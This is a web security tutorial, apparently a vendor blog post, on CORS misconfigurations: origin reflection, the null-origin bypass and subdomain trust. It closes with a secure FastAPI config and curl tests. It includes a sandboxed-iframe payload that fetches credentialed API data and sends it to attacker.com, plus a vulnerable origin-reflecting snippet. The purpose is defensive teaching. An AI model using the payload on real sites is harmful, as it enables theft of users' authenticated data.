The Same-Origin Policy
The same-origin policy (SOP) is the browser's fundamental security boundary. It prevents JavaScript running on attacker.com from reading responses from yourbank.com, even if the user is logged into their bank in the same browser.
Two URLs share the same origin only if protocol, host, and port all match. https://api.example.com and https://example.com are different origins. CORS is the mechanism by which servers explicitly grant cross-origin access when they need it β typically for SPAs calling their own APIs.
How CORS Works
When a browser makes a cross-origin request, it includes an Origin header. For simple requests, it sends the request and checks the response headers. For complex requests (non-GET/POST, custom headers), it sends a preflight OPTIONS request first.
The key response headers: Access-Control-Allow-Origin specifies which origin is permitted. Access-Control-Allow-Credentials: true tells the browser to include cookies. Access-Control-Allow-Methods and Access-Control-Allow-Headers define allowed methods and headers.
Wildcard Origins and Authentication
The most common mistake: setting Access-Control-Allow-Origin: * on an API that also uses cookies or Authorization headers. Browsers refuse to send credentials with wildcard origins β so developers then also set Access-Control-Allow-Credentials: true. This combination is invalid and browsers will reject it.
The dangerous pattern: Some servers dynamically reflect the request's Origin header as the Access-Control-Allow-Origin response, combined with Access-Control-Allow-Credentials: true. This allows any origin to make credentialed cross-origin requests to your API β equivalent to disabling the same-origin policy entirely.
Origin Reflection Attack
# Vulnerable: reflects any Origin back as allowed def add_cors_headers(response, request): origin = request.headers.get("Origin", "*") response.headers["Access-Control-Allow-Origin"] = origin # WRONG response.headers["Access-Control-Allow-Credentials"] = "true" # Attack from attacker.com: # fetch("https://api.target.com/user/profile", {credentials: "include"}) # β gets victim's data because origin is reflected
null Origin Bypass
Some applications check for the null origin explicitly and allow it β because file:// requests and sandboxed iframes send Origin: null. Attackers can exploit this by hosting their payload in a sandboxed iframe:
<!-- Sandboxed iframe sends Origin: null --> <iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script> fetch('https://api.target.com/data', {credentials:'include'}) .then(r=>r.text()).then(d=>location='https://attacker.com/?d='+d) </script>"> </iframe>
Never allow null as a permitted CORS origin in a production application.
Subdomain Trust Issues
Some applications allow all subdomains: any origin matching *.example.com. If any subdomain is compromised β a forgotten staging server, a subdomain takeover β the attacker can make credentialed cross-origin requests to your main API.
Correct CORS Configuration
from fastapi.middleware.cors import CORSMiddleware # Explicit allowlist β no wildcard, no reflection ALLOWED_ORIGINS = [ "https://app.example.com", "https://admin.example.com", ] app.add_middleware( CORSMiddleware, allow_origins=ALLOWED_ORIGINS, # explicit list allow_credentials=True, allow_methods=["GET", "POST", "PUT", "DELETE"], allow_headers=["Authorization", "Content-Type"], max_age=600, # cache preflight for 10 minutes )
Public APIs: If your API is genuinely public (no authentication, no user data), Access-Control-Allow-Origin: * is fine β and appropriate. The problem is only when wildcard is combined with credentials or sensitive data.
Testing for CORS Misconfigurations
# Test 1: Does it reflect arbitrary origins? curl -H "Origin: https://evil.com" -I https://api.target.com/user # Look for: Access-Control-Allow-Origin: https://evil.com # Test 2: Does it allow null origin? curl -H "Origin: null" -I https://api.target.com/user # Look for: Access-Control-Allow-Origin: null # Test 3: Does ACAO reflect subdomain variants? curl -H "Origin: https://evil.target.com" -I https://api.target.com/user
Test Your API for CORS Misconfigurations
AquilaX DAST automatically tests your API endpoints for origin reflection, wildcard misuse, and null origin vulnerabilities on every scan.
Start Free Scan